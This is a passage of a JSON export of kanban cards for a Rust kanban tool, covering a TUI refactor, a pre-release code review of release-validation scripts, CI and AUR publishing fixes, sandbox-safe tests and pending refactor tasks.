        "description": "MVC refactor: single Model with lazy loading replaces triple-copy data flow.\n\nPreviously the TUI maintained three copies of domain data per frame: InMemoryStore (RwLock<StoreState>), TuiContext cloning accessors (~180 sites), and RenderData (rebuilt every frame). Now a single Model struct with Option<Vec<T>> lazy slots serves as the cached read layer. The View reads via zero-clone &[T] slices, and card lookup is O(1) via HashMap index.\n\nChanges:\n- Introduced Model struct (app/model.rs) with load_from_snapshot, invalidate_*, and &-reference accessors\n- Wired Model into App, populated in prepare_frame() from snapshot\n- Migrated all UI rendering (~37 sites across 9 files) from render_data to model\n- Migrated all event handlers (~180 sites across 11 files) from ctx cloning accessors to model\n- Removed RenderData struct entirely\n- Removed 4 of 6 TuiContext cloning accessors (kept boards/sprints for pre-prepare_frame startup)\n- Prepared lazy loading slots for future SQLite on-demand path",
        "due_date": null,
        "id": "626f228c-2598-4a52-b022-9133e185c43f",
        "points": null,
        "position": 162,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245076439Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126619123Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245076851Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "description doesnt load in card details",
        "updated_at": "2026-05-11T20:21:30.329236740Z"
      },
      {
        "card_number": 391,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-05-11T20:21:30.357738977Z",
        "created_at": "2026-05-04T02:53:22.798067658Z",
        "description": "# UPDATE 2026-05-04 — Implementation outcome\n\n**Shipped (Part A + drift-prevention CI invariant):**\n- New `scripts/list-crates.sh` derives the workspace crate list from `cargo metadata` + `jq` + `tsort`. Filters dev-deps via `kind == null` so the dependency cycle (kanban-persistence-json dev-deps on kanban-service which normal-deps on kanban-persistence-json) doesn't break the topo-sort.\n- `scripts/validate-release.sh` and `scripts/publish-crates.sh` refactored to populate `CRATES` via `mapfile -t CRATES < <(list-crates --paths)`. Hardcoded arrays gone.\n- New `scripts/check-crate-list-sync.sh` invariant: fails CI if either script regresses to a hardcoded array literal, or if `list-crates` output disagrees with `crates/*/Cargo.toml` workspace members.\n- Wired into `flake.nix`, `shell.nix`, and `.github/workflows/ci.yml` (new step in `release-validation` job).\n- Changeset `kan-391-fix-validate-release-staleness.md` added with `bump: patch`.\n\n**Reverted (Part B): the original review's \"drop --no-verify\" recommendation was a misdiagnosis.**\n\nEmpirical verification during implementation showed this. When `cargo publish --dry-run` (without `--no-verify`) packages a workspace crate, it resolves path-deps to their **crates.io** versions and tries to compile against those. Concrete evidence: `kanban-domain 0.3.5` on crates.io defines `pub trait Command`, but local develop has refactored to `pub enum Command` (KAN-260/KAN-348). Compile fails with E0782 (\"expected a type, found a trait\") because new code is being built against old published API. This is the inherent chicken-and-egg of workspace publishing — every API-changing release fails dry-run until each crate is republished in dependency order, which can only happen during the actual release run.\n\nThe original `--no-verify --offline` flags weren't a defect — they were a deliberate workaround for this constraint. Step 4 (`cargo check --workspace --all-features`) already verifies compile against local source; Step 5 with `--no-verify --offline` adds manifest/package-shape verification, which is what it can do without the published siblings being available. Added an explanatory comment in `validate-release.sh` Step 5 so the next reviewer doesn't make the same mistake.\n\n**Net effect:** the dynamic crate list alone resolves the missing-3-crates drift bug (the actual blocker called out in this card). The deeper fix for \"we want real compile validation pre-publish\" requires either a workspace-aware tool (cargo-workspaces / release-plz — sibling card) or staging the publish across multiple commits.\n\n**Files changed:**\n- `scripts/list-crates.sh` (new)\n- `scripts/check-crate-list-sync.sh` (new)\n- `scripts/validate-release.sh` (CRATES + INTERNAL_DEPS now dynamic; Step 5 commented to explain --no-verify)\n- `scripts/publish-crates.sh` (CRATES now dynamic)\n- `flake.nix` (listCrates + checkCrateListSync derivations exposed)\n- `shell.nix` (parameters + buildInputs)\n- `.github/workflows/ci.yml` (new step in release-validation job)\n- `.changeset/kan-391-fix-validate-release-staleness.md` (new, bump: patch)\n\n---\n\n# PR #208 (release 0.4.0) — Pre-merge review action items\n\nThis card tracks code-review findings from PR #208 (develop → master, 0.4.0 release). 38 commits, 283 files, +45,171/-13,065. Per-feature PRs were already gated; this review focuses on the merge-to-master boundary.\n\n## Summary verdict\n\nAfter deep investigation, **most of the initial review concerns turned out to be non-issues** — the release pipeline is fully wired, tempfile placements are legitimate, bump-version regex coverage is complete, and the KAN-339 changeset is real follow-up work. The only **actionable findings** are:\n\n- **Blocker:** `scripts/validate-release.sh` is stale — its CRATES and INTERNAL_DEPS arrays don't include the 3 new/missing crates (`kanban-service`, `kanban-persistence-json`, `kanban-persistence-sqlite`).\n- **Medium:** Step 5 of validate-release.sh uses `--no-verify --offline`, which means it doesn't actually compile crates against published deps; only manifest shape is checked.\n\nEverything else flagged in the original review (release wiring, tempfile placement, bump-version regex, KAN-339 leftover, CHANGELOG) was confirmed safe via investigation.\n\n---\n\n## Original review (delivered in chat 2026-05-04)\n\n### Overview\n\nThis is the 0.4.0 release PR merging 38 feature/fix PRs from `develop` into `master`. It's a bundle of already-reviewed-and-merged work: SQLite backend, sprint carry-over, settings UI, undo/redo lift, per-layer error types, AUR packaging, and major architectural changes (KAN-260 inverted backend plugin architecture, KAN-348 deferred reads, KAN-384 unified backends, KAN-341 card identifier redesign).\n\n**Scope:** 283 files, +45,171/-13,065. Diff too large to review line-by-line via `gh pr diff`, so the review focused on release readiness.\n\n**CI:** All 7 required checks pass; merge state is `CLEAN`/`MERGEABLE`. Individual feature PRs were reviewed prior to merging into `develop`.\n\n### What ships\n\n- **New crates** (`kanban-persistence-json`, `kanban-persistence-sqlite`) added to workspace; backends register through `StoreFactory`/`StoreRegistry` (`crates/kanban-cli/src/lib.rs`, `crates/kanban-service/src/lib.rs:1`).\n- **CLI restructured into a lib + thin bin** so third-party backends can reuse `CliApp` (`crates/kanban-cli/src/lib.rs`, `crates/kanban-cli/src/main.rs:1`). `compile_error!` enforces at least one backend feature is enabled.\n- **Default features** for `kanban-cli`, `kanban-service`, `kanban-mcp` are `[\"json\", \"sqlite\"]`. JSON remains the default file format, but SQLite is compiled in.\n- **AUR workflow** rewrites `pkgver`/`pkgrel`/`sha256` on each `release: published` event.\n- **34 changesets** in `.changeset/` will drive `bump-version.sh` + `aggregate-changelog.sh` on merge.\n\n---\n\n## Findings — actionable\n\n### 1. BLOCKER — `scripts/validate-release.sh` is stale\n\n**Evidence (origin/develop):**\n\nCRATES array (lines 4-11) — only 6 of 9 crates:\n```\ncrates/kanban-core\ncrates/kanban-domain\ncrates/kanban-mcp\ncrates/kanban-persistence\ncrates/kanban-tui\ncrates/kanban-cli\n```\n\nINTERNAL_DEPS array (line 40) — only 5 entries:\n```\nkanban-core, kanban-mcp, kanban-domain, kanban-persistence, kanban-tui\n```\n\n**Missing from both arrays:**\n- `kanban-service`\n- `kanban-persistence-json`\n- `kanban-persistence-sqlite`\n\n**Why this matters:**\n\n`scripts/publish-crates.sh` (correctly) lists all 9 crates and publishes them in dependency order (with a 10s pacing sleep, and a \"skip if version exists\" check via the crates.io API). But `release.yml` runs `validate-release` *before* the push to master and *before* `publish-crates` (release.yml line ~80). If a future change introduces a malformed manifest (missing `version =` next to a `path =` dep) in any of the 3 missing crates, the validator silently passes, the release commits, and the publish step fails halfway through — leaving crates.io in a partially-published state.\n\n**Fix:**\n\nUpdate both arrays in `scripts/validate-release.sh` to match `publish-crates.sh`:\n\n```bash\nCRATES=(\n  \"crates/kanban-core\"\n  \"crates/kanban-domain\"\n  \"crates/kanban-persistence\"\n  \"crates/kanban-persistence-json\"\n  \"crates/kanban-persistence-sqlite\"\n  \"crates/kanban-service\"\n  \"crates/kanban-tui\"\n  \"crates/kanban-mcp\"\n  \"crates/kanban-cli\"\n)\n\nINTERNAL_DEPS=(\n  \"kanban-core\"\n  \"kanban-domain\"\n  \"kanban-persistence\"\n  \"kanban-persistence-json\"\n  \"kanban-persistence-sqlite\"\n  \"kanban-service\"\n  \"kanban-tui\"\n  \"kanban-mcp\"\n)\n```\n\n**Better fix (DRY / SOLID — Single Source of Truth):**\n\nBoth scripts duplicate the crate list. Extract to a shared file (`scripts/crates.txt` or a sourced shell helper) and have both scripts read from it. This eliminates the class of bug where one script gets updated and the other doesn't (which is exactly what happened here).\n\n**TDD plan (Red → Green → Refactor):**\n\n- **Red:** Add a CI check (`scripts/check-crate-list-sync.sh`) that fails when `validate-release.sh` and `publish-crates.sh` disagree on the crate list. Wire it into `ci.yml` so the test is visible. Run it now — it must FAIL before any fix is applied (proving the test is real). Also wire a self-test that fails if a crate exists in `crates/` but isn't in either array.\n- **Green:** Apply the array updates above. Re-run `check-crate-list-sync.sh` — it passes.\n- **Refactor:** Extract the crate list into `scripts/crate-list.sh` (a single sourced array) and have both scripts source it. Re-run the CI check; it should still pass and the synchronization invariant is now structurally enforced. Delete the duplicate-detection script if the shared-source approach makes it obsolete, OR keep it as a regression guard against accidental future divergence (recommended — defense in depth).\n\n---\n\n### 2. MEDIUM — `validate-release.sh` Step 5 doesn't actually verify\n\n**Evidence:**\n\nStep 5 (line 65 of `scripts/validate-release.sh`) runs:\n```bash\ncargo publish --dry-run --no-verify --offline --quiet --allow-dirty\n```\n\nWhat each flag disables:\n- `--no-verify`: skips the actual build of the package (the most important check)\n- `--offline`: no network → can't validate against published versions of inter-crate deps\n- `--quiet`: hides warnings\n- `--allow-dirty`: ignores uncommitted changes\n\nSo this step only checks that the manifest parses and that `cargo publish` is willing to *attempt* to publish. It does NOT check that the crate compiles in isolation against its declared deps as they exist on crates.io.\n\n**Why this matters:**\n\nThe 0.4.0 release introduces fresh workspace topology (two new published crates, mcp/tui/service/cli all rewired). The risk of a broken inter-crate version pin only becoming visible at actual publish time is real — and once a crate is published to crates.io it cannot be yanked silently (yanking is observable, and version numbers can never be reused). A failed mid-pipeline publish leaves the registry in a half-published state.\n\nThe CI Build job covers compilation against path deps within the workspace, but doesn't simulate \"kanban-cli compiled standalone, pulling kanban-service from crates.io\". Those are different graphs.\n\n**Fix (low effort, high value):**\n\nDrop `--no-verify` from Step 5. This makes the dry-run actually compile each crate. `--offline` should also go (or be replaced with an explicit registry-access guard) so dep resolution against published versions is exercised.\n\n```bash\ncargo publish --dry-run --quiet --allow-dirty\n```\n\nIf the dry-run becomes too slow, parallelize across crates rather than skipping verification.\n\n**Why not address it in a separate PR:** The release fires *immediately* on merge of #208. Any validate-release improvement applied later only protects 0.5.0 onwards — 0.4.0 ships with whatever validation runs at merge time.\n\n**TDD plan (Red → Green → Refactor):**\n\n- **Red:** Construct a deliberately broken state: locally edit one of the new crate manifests to point to a non-existent inter-crate version (e.g. `kanban-core = \"^99.0\"`). Run `validate-release.sh` — Step 5 currently passes (because of `--no-verify`). That's the failing test: the validator says \"OK\" when it should say \"broken\".\n- **Green:** Drop `--no-verify` (and ideally `--offline`). Re-run; Step 5 now fails on the broken manifest.\n- **Refactor:** Reset the manifest. Confirm a clean tree still validates. Optionally parallelize the per-crate dry-run with `xargs -P` if duration becomes a problem on the runner.\n\n---\n\n## Findings — investigated, no action needed\n\nThe following items were flagged in the initial review but **investigation cleared them**.\n\n### 3. Tempfile as runtime dependency (kanban-persistence-json, kanban-service)\n\n**Initial concern:** Both crates declare `tempfile.workspace = true` in `[dependencies]`, not `[dev-dependencies]`.\n\n**Investigation result: legitimate runtime dependency.**\n\n- `crates/kanban-persistence-json/src/atomic_writer.rs:16` uses `tempfile::NamedTempFile::new_in()` in production code for atomic JSON writes (write to temp + rename — prevents corruption on crash mid-write). This is the correct pattern.\n- `crates/kanban-service/src/config.rs:366,377` uses `tempfile::NamedTempFile::new_in()` in `write_config_file()` (called by public `save_to()`/`save()`) for the same atomic-write pattern.\n- `crates/kanban-persistence/Cargo.toml` correctly gates tempfile under `optional = true` + `test-helpers` feature; runtime usages there are all `#[cfg(test)]` or behind the feature flag.\n\n**Conclusion:** placement is correct. No change needed.\n\n**Motivation for documenting:** future contributors will inevitably wonder the same thing. A brief code comment near the atomic-write helpers (\"uses tempfile for atomic write — production dependency, not test-only\") would prevent the same false alarm next time. *Optional, not required.*\n\n---\n\n### 4. `bump-version.sh` regex coverage on inter-crate deps\n\n**Initial concern:** the sed pattern `version = \"^${MAJOR}.${MINOR}\"` only matches exact `^0.3` — anything else (e.g. `0.3` without caret, `0.3.5` exact pin, `*`) would silently not be rewritten on a minor bump.\n\n**Investigation result: all 9 crate manifests on origin/develop use exactly `version = \"^0.3\"` for every kanban-* path dep.** Verified across:\n- `kanban-domain`, `kanban-persistence`, `kanban-persistence-json`, `kanban-persistence-sqlite`, `kanban-service`, `kanban-tui`, `kanban-cli`, `kanban-mcp`\n\nNo outliers. The 0.3 → 0.4 minor bump will rewrite all path deps cleanly.\n\n**Conclusion:** safe.\n\n**Optional hardening (not required for 0.4.0):** add a CI check that greps for any `kanban-* = .* version = \"[^^]` (i.e., a version pin that doesn't start with a caret) and fails. This protects future contributors from silently pinning wrong.\n\n---\n\n### 5. KAN-339 changeset (\"Address PR 208 0 4 0 code review feedback\")\n\n**Initial concern:** changeset title sounded like it might be a leftover, double-counting old feedback.\n\n**Investigation result: real follow-up work.** The changeset (commit c634491, 6 files changed) implements concrete domain-layer fixes from a prior review round:\n\n- `feat(domain)`: `WipLimitExceeded` error variant + predicate\n- `feat(domain)`: enforce WIP limits in `CreateCard`, `MoveCard`, `MoveCards`, `RestoreCard`\n- `fix(domain)`: cap redo stack at `MAX_HISTORY_DEPTH`\n- `fix(domain)`: validate column exists before restoring card\n- `fix(ci)`: validate release tag and fix sed delimiter in aur-publish\n\nAll accompanied by red-green-refactor tests (`test(domain): add failing WIP limit enforcement tests` etc.), consistent with the TDD discipline in CLAUDE.md.\n\n**Conclusion:** legitimate, ship it.\n\n---\n\n### 6. Release pipeline downstream of `release.yml`\n\n**Initial concern:** PR description claims \"version bump, CHANGELOG update, crates.io publish, GitHub release\" but the visible portion of `release.yml` only showed bump + changelog + push.\n\n**Investigation result: pipeline is fully wired.** Beyond what was visible:\n\n- `release.yml` line ~108 calls `nix run .#publish-crates` (which runs `publish-crates.sh` against crates.io)\n- `release.yml` line ~121 calls `softprops/action-gh-release` to create the GitHub Release with tag `v$VERSION`\n- `aur-publish.yml` triggers on `release: published` (the event the GitHub Release creation emits) and runs the AUR rewrite workflow\n- A \"sync develop\" step closes the loop after master is updated\n\n**Conclusion:** end-to-end automation is complete and correct.\n\n---\n\n### 7. AUR PKGBUILD placeholder values\n\n**Initial concern:** `aur/PKGBUILD` shows `pkgver=0.3.5` — would this ship stale?\n\n**Investigation result: by design.** `aur-publish.yml` lines 18-31 dynamically rewrite `pkgver`, `pkgrel`, and `sha256sums` on each release event. The static value is just a starting point for `sed`. The tag regex `^[0-9]+\\.[0-9]+(\\.[0-9]+)?(-[a-zA-Z0-9]+)?$` validates input before substitution (mitigates tag injection). The sha256 is computed from the GitHub-served tarball at workflow time, not trusted from inputs.\n\n**Conclusion:** correct.\n\n---\n\n### 8. PR draft state\n\n**Status:** PR is currently in `Draft`. Mark Ready for Review before merging.\n\n**Why:** `release.yml` triggers on `pull_request: closed` with `merged == true`. This works for a draft that's marked ready and then merged via the normal flow, but if the PR is force-merged via GitHub API or CLI while still in draft, some integrations (status checks, notifications) may not behave consistently. Marking ready is the documented happy path.\n\n**Action:** flip the toggle on GitHub before clicking merge.\n\n---\n\n### 9. CHANGELOG.md not yet updated for 0.4.0\n\n**Status:** by design — `aggregate-changelog.sh` runs post-merge inside `release.yml`, reads `.changeset/*.md`, writes the new section to `CHANGELOG.md`, and *deletes the changesets*. Don't pre-populate.\n\n**Conclusion:** no action.\n\n---\n\n## Conventions / style\n\n- 38 commits follow `type(scope): msg` with `kanban-` prefix dropped on scope. Consistent with project convention.\n- New `kanban-cli/src/lib.rs` doc comment follows \"no comments unless documenting public API\" guideline.\n- `compile_error!` in `kanban-cli/src/main.rs:1` enforces at least one backend feature — good defensive design at the build boundary.\n\n## Test coverage\n\n- New `crates/kanban-persistence/tests/store_contract_smoke.rs` provides cross-backend contract tests gated on `test-helpers` feature.\n- Properly scoped via `required-features` so contract tests only run when helpers compile in.\n- CI Test job passes (3m6s).\n\n## Security\n\n- AUR workflow uses pinned action SHA (`KSXGitHub/github-actions-deploy-aur@2ac5a4c1...`).\n- Tag input validated with regex before `sed`.\n- SHA256 computed from authoritative source at runtime, not input.\n\n---\n\n## SOLID principles applied to fixes\n\nThe proposed fixes themselves should be evaluated against SOLID:\n\n- **Single Responsibility:** the shared `scripts/crate-list.sh` (refactor step in fix #1) has the single responsibility of being the source of truth for the workspace crate list. Both `validate-release.sh` and `publish-crates.sh` continue to have their own single responsibility (validation vs. publishing) and merely delegate the \"what crates exist\" question to the new file.\n- **Open/Closed:** when a 10th crate is added in the future, contributors edit one file (`crate-list.sh`), not two. The validator and publisher are closed for modification, open for the extension that \"the workspace gained a crate.\"\n- **Liskov / Interface Segregation:** N/A at this script-shell level.\n- **Dependency Inversion:** both scripts depend on the abstraction (the sourced list) rather than each holding its own concrete copy. Currently they each redeclare the list — that's the inversion failure being corrected.\n\n## Recommendation\n\n**Block merge until fix #1 ships.** Strongly consider also applying fix #2 in the same PR — both are small, both target `scripts/validate-release.sh`, and 0.4.0 is the release where the workspace topology change makes the staleness most likely to cause a partial-publish incident.\n\nItems 3–9 are non-actionable; merge as-is once 1 and 2 are addressed.",
        "due_date": null,
        "id": "36716ee1-f014-4fc0-b8e1-856613d3e8e8",
        "points": 2,
        "position": 163,
        "priority": "High",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T21:58:57.806920747Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "PR #208 (release 0.4.0) — fix validate-release.sh staleness before merge",
        "updated_at": "2026-05-11T20:21:30.393827659Z"
      },
      {
        "card_number": 358,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-18T17:28:12.048661551Z",
        "description": "sqlite_store.rs is ~1429 lines. Extract row parsers, query helpers, and CommandStore impl into separate submodules for maintainability.",
        "due_date": null,
        "id": "ba7f0ca9-95a4-4397-b747-4e76ca61e340",
        "points": null,
        "position": 163,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245146162Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126592462Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245146557Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Refactor sqlite_store.rs into submodules",
        "updated_at": "2026-05-07T22:06:15.245146777Z"
      },
      {
        "card_number": 359,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-18T17:29:02.523599551Z",
        "description": "context.rs is ~1137 lines. Extract command dispatch, batch operations into separate submodules.",
        "due_date": null,
        "id": "656e4581-010c-4180-a230-df5475a3dcb6",
        "points": null,
        "position": 164,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245148253Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126566571Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245148834Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Refactor context.rs into submodules",
        "updated_at": "2026-05-07T22:06:15.245149109Z"
      },
      {
        "card_number": 396,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-05-11T20:21:30.420166591Z",
        "created_at": "2026-05-07T19:52:47.258746662Z",
        "description": "## Where\n\ncrates/kanban-tui/tests/settings_config_edit_tests.rs — 5 tests:\n- test_apply_config_edit_valid_json_updates_config (line 133)\n- test_apply_config_edit_unchanged_storage_not_written_to_config (line 164)\n- test_apply_config_edit_with_startup_absolute_path_not_written_to_config (line 192)\n- test_apply_config_edit_with_cli_override_unloads_when_storage_explicitly_provided (line 264)\n- test_apply_config_edit_syncs_prefixes (line 398)\n\n## Why\n\nryantm nixpkgs-update updated kanban 0.3.5 → 0.4.0 and kicked off a nix build with --option sandbox true. The sandbox sets $HOME to a non-writable stub. These 5 tests call App::test_default() then app.apply_config_edit() with a JSON that has no configuration_location field. apply_config_edit calls kanban_service::config::save(), which calls effective_configuration_location() — and because configuration_location is None on the config, it falls back to config_path() → dirs::config_dir() → $HOME/.config/kanban/config.toml. create_dir_all on that path fails with Permission denied (os error 13), so result.is_ok() panics.\n\n## How\n\nIn each of the 5 tests, create a TempDir (tempfile::tempdir()) and include its path as configuration_location in the JSON string passed to apply_config_edit. tempfile allocates under $TMPDIR, which Nix sets to a writable per-build directory. When the DTO carries an explicit configuration_location, apply_to sets it on the config; strip_defaults only strips it if it equals the OS default path, so a temp path survives. save() then writes to the temp path and succeeds. No production code changes needed.",
        "due_date": null,
        "id": "04f7dcc7-bf88-4504-b752-40c1917e3e94",
        "points": null,
        "position": 164,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T21:58:57.806915190Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "fix(tui): make settings_config_edit_tests sandbox-safe for nixpkgs",
        "updated_at": "2026-05-11T20:21:30.447868799Z"
      },
      {
        "card_number": 397,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-05-11T20:21:30.473903148Z",
        "created_at": "2026-05-07T20:21:11.436908009Z",
        "description": "## Where\n\n.github/workflows/release.yml and .github/workflows/aur-publish.yml\n\n## Why\n\nThe aur-publish.yml was triggered by `release: types: [published]`, but GitHub Actions does not fire that event when a release is created programmatically using GITHUB_TOKEN (to prevent infinite loops). The release workflow uses softprops/action-gh-release with GITHUB_TOKEN, so the AUR publish never ran automatically. For v0.4.0 and v0.4.1 it had to be triggered manually via workflow_dispatch.\n\n## How\n\nMove the AUR publish steps (update PKGBUILD, generate .SRCINFO, commit, deploy) inline into release.yml, after the GitHub Release is created. Remove the dead `release: [published]` trigger from aur-publish.yml and keep it only as a workflow_dispatch fallback for manual re-runs.",
        "due_date": null,
        "id": "2bb36294-42ba-449f-858d-02a66f7a67c7",
        "points": null,
        "position": 165,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T21:58:57.806939872Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "ci: wire AUR publish into release workflow",
        "updated_at": "2026-05-11T20:21:30.501752066Z"
      },
      {
        "card_number": 360,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-18T17:29:23.050653406Z",
        "description": "in_memory_store.rs is ~896 lines. Extract state and trait impls into separate submodules.",
        "due_date": null,
        "id": "cd16717b-91aa-47ef-b484-e42ba1776f70",
        "points": null,
        "position": 165,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245150268Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126597771Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245150692Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Refactor in_memory_store.rs into submodules",
        "updated_at": "2026-05-07T22:06:15.245150969Z"
      },
      {
        "card_number": 361,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-18T17:30:26.156092074Z",
        "description": "Add a custom Debug implementation for SqliteStore showing pool status instead of deriving.",
        "due_date": null,
        "id": "c1e40007-b477-4e6e-8453-4d91164c7215",
        "points": null,
        "position": 166,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245152116Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126628604Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245152539Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Add Debug impl for SqliteStore",
        "updated_at": "2026-05-07T22:06:15.245152759Z"
      },
      {
        "card_number": 398,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-05-11T20:21:30.529609353Z",
        "created_at": "2026-05-07T20:53:52.705352760Z",
        "description": "## Where\n\n`demo/demo.tape`, Beat 9 (line 151):\n\n```\nkanban demo.json card update KAN-12 --status done | jq\n```\n\n## Why\n\n`card update` has no `--status` flag — status is determined by which column a card is in, not a field. This command fails at runtime and produces an error instead of the intended demo of moving a card to done.\n\n## Fix\n\nReplace with `card move`:\n\n```\nkanban demo.json card move KAN-12 --column-id c2a0d5e2-c0a0-4b1c-9d3a-1f1c8e7a5b9c | jq\n```\n\n`c2a0d5e2-c0a0-4b1c-9d3a-1f1c8e7a5b9c` is the `Complete` column ID in `demo/fixtures/demo.json`. After fixing the tape, re-record `demo.gif` with `vhs demo.tape`.",
        "due_date": null,
        "id": "50869b38-d30f-4a38-97f4-c8cf4b157b99",
        "points": 1,
        "position": 166,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T21:58:57.806925161Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Fix broken CLI command in demo tape (Beat 9)",
        "updated_at": "2026-05-11T20:21:30.559352555Z"
      },
      {
        "card_number": 419,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-05-10T17:34:28.371399550Z",
        "created_at": "2026-05-10T15:14:45.912235785Z",
        "description": "Currently the sprint history box of card details view is now showed until the number of sprints that a card has gone through is > 1.\n\nIt makes it difficult in the card details view to see what sprints a card is on\n",
        "due_date": null,
        "id": "27c6abd9-44b5-4a66-b771-95fac541625c",
        "points": null,
        "position": 167,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-10T15:15:50.764419175Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "Show sprint history on sprints assigned >= 1",
        "updated_at": "2026-05-11T20:21:30.586206622Z"
      },
      {
        "card_number": 362,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-18T17:33:11.463196460Z",
        "description": "Investigate re-integrating SqliteStore through SqliteStoreFactory for consistency with the StoreRegistry pattern.",
        "due_date": null,
        "id": "95ab2a42-3f1f-4683-b457-606857b7bd58",
        "points": null,
        "position": 168,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245156052Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126627485Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245156497Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "SqliteStore bypasses StoreRegistry",
